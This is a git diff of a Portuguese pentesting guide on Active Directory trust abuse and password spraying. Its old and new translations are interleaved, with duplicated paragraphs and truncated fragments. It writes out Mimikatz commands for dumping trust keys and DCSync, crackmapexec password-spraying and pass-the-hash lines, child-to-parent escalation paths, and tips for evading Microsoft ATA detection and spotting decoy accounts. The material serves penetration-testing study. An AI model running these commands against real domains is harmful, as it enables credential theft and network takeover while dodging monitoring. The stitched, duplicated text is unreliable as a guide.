Quando um **usuário** tenta **acessar** um **serviço** no **domínio confiante**, ele solicitará um **TGT inter-reino** ao DC de seu domínio. O DC servirá ao cliente este **TGT** que seria **criptografado/assinado** com a **chave inter-reino** (a chave que ambos os domínios **trocaram**). Então, o **cliente** irá **acessar** o **DC do outro domínio** e irá **solicitar** um **TGS** para o serviço usando o **TGT inter-reino**. O **DC** do domínio confiante **verificará** a **chave** usada, se estiver ok, ele **confiará em tudo naquele bilhete** e servirá o TGS ao cliente.
|
||||
|
||||
![](<../../.gitbook/assets/image (166) (1).png>)
|
||||
|
||||
### Diferentes confianças
|
||||
|
||||
É importante notar que **uma confiança pode ser de uma via ou de duas vias**. Na opção de duas vias, ambos os domínios confiarão um no outro, mas na relação de confiança de **uma via**, um dos domínios será o **confiável** e o outro o domínio **confiante**. Neste último caso, **você só poderá acessar recursos dentro do domínio confiante a partir do confiável**.
|
||||
É importante notar que **uma confiança pode ser de 1 via ou de 2 vias**. Nas opções de 2 vias, ambos os domínios confiarão um no outro, mas na confiança de **1 via**, um dos domínios será o **confiável** e o outro o **confiante**. No último caso, **você só poderá acessar recursos dentro do domínio confiante a partir do domínio confiável**.
|
||||
|
||||
Se o Domínio A confia no Domínio B, A é o domínio confiante e B é o domínio confiável. Além disso, no **Domínio A**, isso seria uma **confiança de saída**; e no **Domínio B**, isso seria uma **confiança de entrada**.
|
||||
Se o Domínio A confia no Domínio B, A é o domínio confiante e B é o confiável. Além disso, no **Domínio A**, isso seria uma **confiança de saída**; e no **Domínio B**, isso seria uma **confiança de entrada**.
|
||||
|
||||
**Diferentes relacionamentos de confiança**
|
||||
**Diferentes relações de confiança**
|
||||
|
||||
* **Pai-Filho** - parte da mesma floresta - um domínio filho mantém uma confiança transitiva implícita de duas vias com seu pai. Este é provavelmente o tipo mais comum de confiança que você encontrará.
|
||||
* **Cross-link** - também conhecido como "confiança de atalho" entre domínios filhos para melhorar os tempos de referência. Normalmente, as referências em uma floresta complexa precisam filtrar até a raiz da floresta e depois voltar para o domínio de destino, portanto, para um cenário geograficamente disperso, os cross-links podem fazer sentido para reduzir os tempos de autenticação.
|
||||
* **Externo** - uma confiança implicitamente não transitiva criada entre domínios díspares. "[As confianças externas fornecem acesso a recursos em um domínio fora da floresta que ainda não está unido por uma confiança de floresta.](https://technet.microsoft.com/en-us/library/cc773178\(v=ws.10\).aspx)" As confianças externas aplicam a filtragem SID, uma proteção de segurança abordada posteriormente neste post.
|
||||
* **Raiz da árvore** - uma confiança transitiva implícita de duas vias entre o domínio raiz da floresta e a nova raiz da árvore que você está adicionando. Não encontrei confianças de raiz de árvore com muita frequência, mas a partir da [documentação da Microsoft](https://technet.microsoft.com/en-us/library/cc773178\(v=ws.10\).aspx), elas são criadas quando você cria uma nova árvore de domínio em uma floresta. Essas são confianças intra-floresta e elas [preservam a transitividade de duas vias](https://technet.microsoft.com/en-us/library/cc757352\(v=ws.10\).aspx) permitindo que a árvore tenha um nome de domínio separado (em vez de filho.pai.com).
|
||||
* **Floresta** - uma confiança transitiva entre dois domínios raiz da floresta. As confianças de floresta também aplicam a filtragem SID.
|
||||
* **MIT** - uma confiança com um domínio Kerberos não-Windows [compatível com RFC4120](https://tools.ietf.org/html/rfc4120). Espero mergulhar mais nas confianças MIT no futuro.
|
||||
|
||||
#### Outras diferenças em **relacionamentos de confiança**
|
||||
|
||||
* Um relacionamento de confiança também pode ser **transitivo** (A confia em B, B confia em C, então A confia em C) ou **não transitivo**.
|
||||
* Um relacionamento de confiança pode ser configurado como **confiança bidirecional** (ambos confiam um no outro) ou como **confiança de uma via** (apenas um deles confia no outro).
|
||||
|
||||
### Caminho de ataque
|
||||
|
||||
1. **Enumerar** os relacionamentos de confiança
|
||||
2. Verifique se algum **principal de segurança** (usuário/grupo/computador) tem **acesso** a recursos do **outro domínio**, talvez por entradas ACE ou por estar em grupos do outro domínio. Procure por **relacionamentos entre domínios** (a confiança foi criada para isso, provavelmente).
|
||||
1. Kerberoast, neste caso, pode ser outra opção.
|
||||
3. **Comprometer** as **contas** que podem **pivô** através dos domínios.
|
||||
|
||||
Existem três maneiras **principais** pelas quais os principais de segurança (usuários/grupos/computadores) de um domínio podem ter acesso a recursos em outro domínio confiável/estrangeiro:
|
||||
|
||||
* Eles podem ser adicionados a **grupos locais** em máquinas individuais, ou seja, o grupo local "Administradores" em um servidor.
|
||||
* Eles podem ser adicionados a **grupos no domínio estrangeiro**. Existem algumas ressalvas dependendo do tipo de confiança e do escopo do grupo, descritos em breve.
|
||||
* Eles podem ser adicionados como principais em uma **lista de controle de acesso**, mais interessante para nós como principais em **ACEs** em um **DACL**. Para mais informações sobre ACLs/DACLs/ACEs, confira o whitepaper "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an\_ace\_up\_the\_sleeve.pdf)".
|
||||
* **Pai-Filho** – parte da mesma floresta – um domínio filho mantém uma confiança transitiva bidirecional implícita com seu pai. Este é provavelmente o tipo mais comum de confiança que você encontrará.
|
||||
* **Cross-link** – também conhecida como "confiança de atalho" entre domínios filhos para melhorar os tempos de referência. Normalmente, referências em uma floresta complexa têm que filtrar até a raiz da floresta e depois voltar para o domínio alvo, então para um cenário geograficamente disperso, cross-links podem fazer sentido para reduzir os tempos de autenticação.
|
||||
* **Externa** – uma confiança implicitamente não transitiva criada entre domínios distintos. "[Confianças externas fornecem acesso a recursos em um domínio fora da floresta que não está já unido por uma confiança de floresta.](https://technet.microsoft.com/en-us/library/cc773178\(v=ws.10\).aspx)" Confianças externas impõem filtragem de SID, uma proteção de segurança abordada mais adiante neste post.
|
||||
* **Raiz de Árvore** – uma
|
||||
```
|
||||
Get-DomainTrust
|
||||
|
||||
|
@ -347,72 +543,74 @@ WhenCreated : 2/19/2021 1:28:00 PM
|
|||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Existem **2 chaves confiáveis**, uma para _Filho --> Pai_ e outra para _Pai_ --> _Filho_.\
|
||||
Você pode verificar qual é a usada pelo domínio atual com:
|
||||
Existem **2 chaves confiáveis**, uma para _Child --> Parent_ e outra para _Parent_ --> _Child_.\
|
||||
Você pode verificar a usada pelo domínio atual com:
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
#### Injeção de SID-History
|
||||
|
||||
Escalando como administrador da empresa para o domínio filho/pai abusando da confiança com a injeção de SID-History:
|
||||
Eleve-se como administrador da empresa para o domínio filho/pai abusando da confiança com injeção de SID-History:
|
||||
|
||||
{% content-ref url="sid-history-injection.md" %}
|
||||
[sid-history-injection.md](sid-history-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Explorando a NC de Configuração gravável
|
||||
#### Explorar NC de Configuração editável
|
||||
|
||||
A NC de Configuração é o repositório primário para informações de configuração para uma floresta e é replicada para todos os DCs na floresta. Além disso, todos os DCs graváveis (não DCs somente leitura) na floresta possuem uma cópia gravável da NC de Configuração. Explorar isso requer a execução como SYSTEM em um DC (filho).
|
||||
O NC de Configuração é o repositório primário para informações de configuração de uma floresta e é replicado para cada DC na floresta. Além disso, cada DC editável (não somente leitura) na floresta possui uma cópia editável do NC de Configuração. Explorar isso requer execução como SYSTEM em um DC (filho).
|
||||
|
||||
É possível comprometer o domínio raiz de várias maneiras, conforme descrito abaixo.
|
||||
É possível comprometer o domínio raiz de várias maneiras abordadas abaixo.
|
||||
|
||||
##### Vincular GPO ao site do DC raiz
|
||||
O contêiner Sites na NC de Configuração contém todos os sites dos computadores associados ao domínio na floresta do AD. É possível vincular GPOs a sites quando executado como SYSTEM em qualquer DC na floresta, incluindo o(s) site(s) dos DCs raiz da floresta, e assim comprometê-los.
|
||||
**Vincular GPO ao site do DC raiz**
|
||||
|
||||
Mais detalhes podem ser lidos aqui [Bypass SID filtering research](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
O contêiner Sites no NC de Configuração contém todos os sites dos computadores associados ao domínio na floresta AD. É possível vincular GPOs aos sites quando executado como SYSTEM em qualquer DC na floresta, incluindo o(s) site(s) dos DCs raiz da floresta, e assim comprometer estes.
|
||||
|
||||
##### Comprometer qualquer gMSA na floresta
|
||||
O ataque depende de gMSAs privilegiados no domínio visado.
|
||||
Mais detalhes podem ser lidos aqui [Pesquisa de Bypass SID filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
A chave KDS Root, que é usada para calcular a senha de gMSAs na floresta, é armazenada na NC de Configuração. Quando executado como SYSTEM em qualquer DC na floresta, pode-se ler a chave KDS Root e calcular a senha de qualquer gMSA na floresta.
|
||||
**Comprometer qualquer gMSA na floresta**
|
||||
|
||||
Mais detalhes podem ser lidos aqui: [Golden gMSA trust attack from child to parent](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
O ataque depende de gMSAs privilegiados no domínio alvo.
|
||||
|
||||
##### Ataque de mudança de esquema
|
||||
O ataque requer que o invasor aguarde a criação de novos objetos AD privilegiados.
|
||||
A chave raiz KDS, que é usada para calcular a senha dos gMSAs na floresta, é armazenada no NC de Configuração. Quando executado como SYSTEM em qualquer DC na floresta, pode-se ler a chave raiz KDS e calcular a senha de qualquer gMSA na floresta.
|
||||
|
||||
Quando executado como SYSTEM em qualquer DC na floresta, pode-se conceder a qualquer usuário controle total sobre todas as classes no Esquema AD. Esse controle pode ser abusado para criar um ACE no descritor de segurança padrão de qualquer objeto AD que conceda controle total a um principal comprometido. Todas as novas instâncias dos tipos de objeto AD modificados terão esse ACE.
|
||||
Mais detalhes podem ser lidos aqui: [Ataque de confiança Golden gMSA de filho para pai](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
Mais detalhes podem ser lidos aqui: [Schema change trust attack from child to parent](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
**Ataque de mudança de esquema**
|
||||
|
||||
##### De DA para EA com ADCS ESC5
|
||||
Os ataques ADCS ESC5 (Controle de Acesso de Objeto PKI Vulnerável) abusam do controle sobre objetos PKI para criar um modelo de certificado vulnerável que pode ser abusado para autenticar como qualquer usuário na floresta. Como todos os objetos PKI são armazenados na NC de Configuração, pode-se executar o ESC5 se tiver comprometido qualquer DC gravável (filho) na floresta.
|
||||
O ataque requer que o atacante espere pela criação de novos objetos AD privilegiados.
|
||||
|
||||
Mais detalhes podem ser lidos aqui: [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)
|
||||
Quando executado como SYSTEM em qualquer DC na floresta, pode-se conceder a qualquer usuário controle total sobre todas as classes no Esquema AD. Esse controle pode ser abusado para criar um ACE no descritor de segurança padrão de qualquer objeto AD que concede controle total a um principal comprometido. Todas as novas instâncias dos tipos de objeto AD modificados terão este ACE.
|
||||
|
||||
Caso a floresta AD não tenha ADCS, o invasor pode criar os componentes necessários conforme descrito aqui: [Escalating from child domain’s admins to enterprise admins in 5 minutes by abusing AD CS, a follow up](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
Mais detalhes podem ser lidos aqui: [Ataque de confiança de mudança de esquema de filho para pai](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
### Domínio de Floresta Externa - Unidirecional (Entrada) ou Bidirecional
|
||||
**De DA para EA com ADCS ESC5**
|
||||
|
||||
Os ataques ADCS ESC5 (Vulnerable PKI Object Access Control) abusam do controle sobre objetos PKI para criar um modelo de certificado vulnerável que pode ser abusado para autenticar como qualquer usuário na floresta. Como todos os objetos PKI são armazenados no NC de Configuração, pode-se executar ESC5 se tiverem comprometido qualquer DC editável (filho) na floresta.
|
||||
|
||||
Mais detalhes podem ser lidos aqui: [De DA para EA com ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)
|
||||
|
||||
Caso a floresta AD não tenha ADCS, o atacante pode criar os componentes necessários conforme descrito aqui: [Escalando de administradores de domínio filho para administradores da empresa em 5 minutos abusando do AD CS, um acompanhamento](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### Domínio de Floresta Externa - Unidirecional (Entrada) ou bidirecional
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
TargetName : domain.external --> Destination domain
|
||||
TrustType : WINDOWS-ACTIVE_DIRECTORY
|
||||
TrustAttributes :
|
||||
TrustAttributes :
|
||||
TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
Neste cenário, **seu domínio é confiável** por um externo, dando a você **permissões indeterminadas** sobre ele. Você precisará descobrir **quais princípios do seu domínio têm acesso ao domínio externo** e, em seguida, tentar explorá-lo:
|
||||
Neste cenário, **seu domínio é confiável** por um externo, concedendo-lhe **permissões indeterminadas** sobre ele. Você precisará descobrir **quais principais do seu domínio têm qual acesso sobre o domínio externo** e, em seguida, tentar explorá-lo:
|
||||
|
||||
{% content-ref url="external-forest-domain-oneway-inbound.md" %}
|
||||
[external-forest-domain-oneway-inbound.md](external-forest-domain-oneway-inbound.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Domínio de Floresta Externa - Apenas um Sentido (Saída)
|
||||
### Domínio de Floresta Externa - Unidirecional (Saída)
|
||||
```powershell
|
||||
Get-DomainTrust -Domain current.local
|
||||
|
||||
|
@ -424,7 +622,8 @@ TrustDirection : Outbound --> Outbound trust
|
|||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
Neste cenário, **seu domínio** está **confiando** alguns **privilégios** a um principal de um **domínio diferente**.
|
||||
```markdown
|
||||
Neste cenário, **seu domínio** está **confiando** alguns **privilégios** a um principal de **domínios diferentes**.
|
||||
|
||||
No entanto, quando um **domínio é confiável** pelo domínio confiante, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a senha confiável**. O que significa que é possível **acessar um usuário do domínio confiante para entrar no confiável** para enumerá-lo e tentar escalar mais privilégios:
|
||||
|
||||
|
@ -432,10 +631,10 @@ No entanto, quando um **domínio é confiável** pelo domínio confiante, o dom
|
|||
[external-forest-domain-one-way-outbound.md](external-forest-domain-one-way-outbound.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Outra maneira de comprometer o domínio confiável é encontrar um [**link confiável do SQL**](abusing-ad-mssql.md#mssql-trusted-links) criado na **direção oposta** da confiança do domínio (o que não é muito comum).
|
||||
Outra maneira de comprometer o domínio confiável é encontrar um [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) criado na **direção oposta** da confiança do domínio (o que não é muito comum).
|
||||
|
||||
Outra maneira de comprometer o domínio confiável é esperar em uma máquina onde um **usuário do domínio confiável pode acessar** para fazer login via **RDP**. Então, o atacante poderia injetar código no processo da sessão RDP e **acessar o domínio de origem da vítima** a partir daí.\
|
||||
Além disso, se a **vítima montou seu disco rígido**, a partir do processo da sessão RDP, o atacante poderia armazenar **backdoors** na **pasta de inicialização do disco rígido**. Essa técnica é chamada de **RDPInception**.
|
||||
Outra forma de comprometer o domínio confiável é esperar em uma máquina onde um **usuário do domínio confiável possa acessar** para fazer login via **RDP**. Então, o atacante poderia injetar código no processo da sessão RDP e **acessar o domínio de origem da vítima** a partir daí.\
|
||||
Além disso, se a **vítima montou seu disco rígido**, a partir do processo da **sessão RDP** o atacante poderia armazenar **backdoors** na **pasta de inicialização do disco rígido**. Esta técnica é chamada de **RDPInception.**
|
||||
|
||||
{% content-ref url="rdp-sessions-abuse.md" %}
|
||||
[rdp-sessions-abuse.md](rdp-sessions-abuse.md)
|
||||
|
@ -445,42 +644,42 @@ Além disso, se a **vítima montou seu disco rígido**, a partir do processo da
|
|||
|
||||
**Filtragem de SID:**
|
||||
|
||||
* Evite ataques que abusam do atributo de histórico de SID em confiança entre florestas.
|
||||
* Habilitado por padrão em todas as confianças entre florestas. As confianças intraflorestais são consideradas seguras por padrão (a Microsoft considera a floresta e não o domínio como uma fronteira de segurança).
|
||||
* Mas, como a filtragem de SID tem o potencial de quebrar aplicativos e acesso do usuário, muitas vezes é desativada.
|
||||
* Autenticação seletiva
|
||||
* Em uma confiança entre florestas, se a Autenticação seletiva estiver configurada, os usuários entre as confianças não serão autenticados automaticamente. O acesso individual a domínios e servidores no domínio/floresta confiante deve ser concedido.
|
||||
* Não impede a exploração de NC de Configuração gravável e o ataque de conta de confiança.
|
||||
* Evitar ataques que abusam do atributo de histórico SID através da confiança entre florestas.
|
||||
* Ativado por padrão em todas as confianças entre florestas. Confianças intra-floresta são consideradas seguras por padrão (MS considera a floresta e não o domínio como um limite de segurança).
|
||||
* Mas, como a filtragem de SID tem potencial para quebrar aplicações e acesso de usuários, muitas vezes é desativada.
|
||||
* Autenticação Seletiva
|
||||
* Em uma confiança entre florestas, se a Autenticação Seletiva estiver configurada, usuários entre as confianças não serão automaticamente autenticados. Deve ser concedido acesso individual a domínios e servidores no domínio/floresta confiante.
|
||||
* Não impede a exploração de NC Configration gravável e ataque de conta de confiança.
|
||||
|
||||
[**Mais informações sobre confiança de domínio em ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
[**Mais informações sobre confianças de domínio em ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Cloud & Cloud -> AD
|
||||
## AD -> Nuvem & Nuvem -> AD
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
|
||||
|
||||
## Algumas defesas gerais
|
||||
## Algumas Defesas Gerais
|
||||
|
||||
[**Saiba mais sobre como proteger credenciais aqui.**](../stealing-credentials/credentials-protections.md)\
|
||||
**Por favor, encontre algumas migrações contra cada técnica na descrição da técnica.**
|
||||
|
||||
* Não permita que os administradores de domínio façam login em nenhum outro host além dos controladores de domínio
|
||||
* Nunca execute um serviço com privilégios de DA
|
||||
* Não permitir que Administradores de Domínio façam login em outros hosts além dos Controladores de Domínio
|
||||
* Nunca executar um serviço com privilégios de DA
|
||||
* Se você precisar de privilégios de administrador de domínio, limite o tempo: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### Decepção
|
||||
### Engano
|
||||
|
||||
* A senha não expira
|
||||
* Confiável para delegação
|
||||
* Senha não expira
|
||||
* Confiável para Delegação
|
||||
* Usuários com SPN
|
||||
* Senha na descrição
|
||||
* Usuários que são membros de grupos de alta privilégio
|
||||
* Usuários que são membros de grupos de alto privilégio
|
||||
* Usuários com direitos de ACL sobre outros usuários, grupos ou contêineres
|
||||
* Objetos de computador
|
||||
* ...
|
||||
* [https://github.com/samratashok/Deploy-Deception](https://github.com/samratashok/Deploy-Deception)
|
||||
* `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
* `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
|
||||
## Como identificar a decepção
|
||||
## Como identificar engano
|
||||
|
||||
**Para objetos de usuário:**
|
||||
|
||||
|
@ -492,29 +691,29 @@ Além disso, se a **vítima montou seu disco rígido**, a partir do processo da
|
|||
|
||||
**Geral:**
|
||||
|
||||
* Algumas soluções preenchem com informações em todos os atributos possíveis. Por exemplo, compare os atributos de um objeto de computador com o atributo de um objeto de computador 100% real como DC. Ou usuários contra o RID 500 (administrador padrão).
|
||||
* Algumas soluções preenchem com informações em todos os atributos possíveis. Por exemplo, compare os atributos de um objeto de computador com o atributo de um objeto de computador 100% real como DC. Ou usuários contra o RID 500 (admin padrão).
|
||||
* Verifique se algo é bom demais para ser verdade
|
||||
* [https://github.com/JavelinNetworks/HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)
|
||||
|
||||
### Bypassing Microsoft ATA detection
|
||||
|
||||
#### Enumeração de usuário
|
||||
#### Enumeração de usuários
|
||||
|
||||
ATA só reclama quando você tenta enumerar sessões no DC, então se você não procurar sessões no DC, mas no resto dos hosts, provavelmente não será detectado.
|
||||
ATA só reclama quando você tenta enumerar sessões no DC, então se você não procurar por sessões no DC, mas no resto dos hosts, provavelmente não será detectado.
|
||||
|
||||
#### Criação de impersonação de tickets (Over pass the hash, golden ticket...)
|
||||
#### Criação de impersonation de Tickets (Over pass the hash, golden ticket...)
|
||||
|
||||
Sempre crie os tickets usando as chaves **aes** também porque o que ATA identifica como malicioso é a degradação para NTLM.
|
||||
|
||||
#### DCSync
|
||||
|
||||
Se você não executar isso a partir de um Controlador de Domínio, o ATA vai pegar você, desculpe.
|
||||
Se você não executar isso de um Controlador de Domínio, ATA vai te pegar, desculpe.
|
||||
|
||||
## Mais ferramentas
|
||||
## Mais Ferramentas
|
||||
|
||||
* [Script do Powershell para automação de auditoria de domínio](https://github.com/phillips321/adaudit)
|
||||
* [Script Python para enumerar o Active Directory](https://github.com/ropnop/windapsearch)
|
||||
* [Script Python para enumerar o Active Directory](https://github.com/CroweCybersecurity/ad-ldap-enum)
|
||||
* [Script Powershell para automação de auditoria de domínio](https://github.com/phillips321/adaudit)
|
||||
* [Script Python para enumerar active directory](https://github.com/ropnop/windapsearch)
|
||||
* [Script Python para enumerar active directory](https://github.com/CroweCybersecurity/ad-ldap-enum)
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -522,12 +721,13 @@ Se você não executar isso a partir de um Controlador de Domínio, o ATA vai pe
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Nuvem ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,22 +1,36 @@
|
|||
## **Password Spraying (Ataque de Senhas)**
|
||||
# Pulverização de Senhas / Força Bruta
|
||||
|
||||
Depois de encontrar vários **nomes de usuário válidos**, você pode tentar as senhas mais **comuns** (lembre-se da política de senhas do ambiente) com cada um dos usuários descobertos.\
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Pulverização de Senhas**
|
||||
|
||||
Uma vez que você encontrou vários **nomes de usuário válidos**, você pode tentar as **senhas comuns** (levando em conta a política de senhas do ambiente) com cada um dos usuários descobertos.\
|
||||
Por **padrão**, o **comprimento mínimo** da **senha** é **7**.
|
||||
|
||||
Listas de nomes de usuário comuns também podem ser úteis: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Observe que você **pode bloquear algumas contas se tentar várias senhas incorretas** (por padrão, mais de 10).
|
||||
Note que você **pode bloquear algumas contas se tentar várias senhas erradas** (por padrão, mais de 10).
|
||||
|
||||
### Obter política de senha
|
||||
|
||||
Se você tiver algumas credenciais de usuário ou um shell como um usuário de domínio, você pode **obter a política de senha com**:
|
||||
Se você tem credenciais de algum usuário ou um shell como um usuário de domínio, você pode **obter a política de senha com**:
|
||||
```bash
|
||||
# From Linux
|
||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||
|
||||
enum4linux -u 'username' -p 'password' -P <IP>
|
||||
|
||||
rpcclient -U "" -N 10.10.10.10;
|
||||
rpcclient -U "" -N 10.10.10.10;
|
||||
rpcclient $>querydominfo
|
||||
|
||||
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
|
||||
|
@ -26,7 +40,7 @@ net accounts
|
|||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Exploração a partir do Linux (ou qualquer outro)
|
||||
### Exploração a partir do Linux (ou todos)
|
||||
|
||||
* Usando **crackmapexec:**
|
||||
```bash
|
||||
|
@ -35,18 +49,18 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
|
|||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
* Usando [**kerbrute**](https://github.com/ropnop/kerbrute) **** (Go)
|
||||
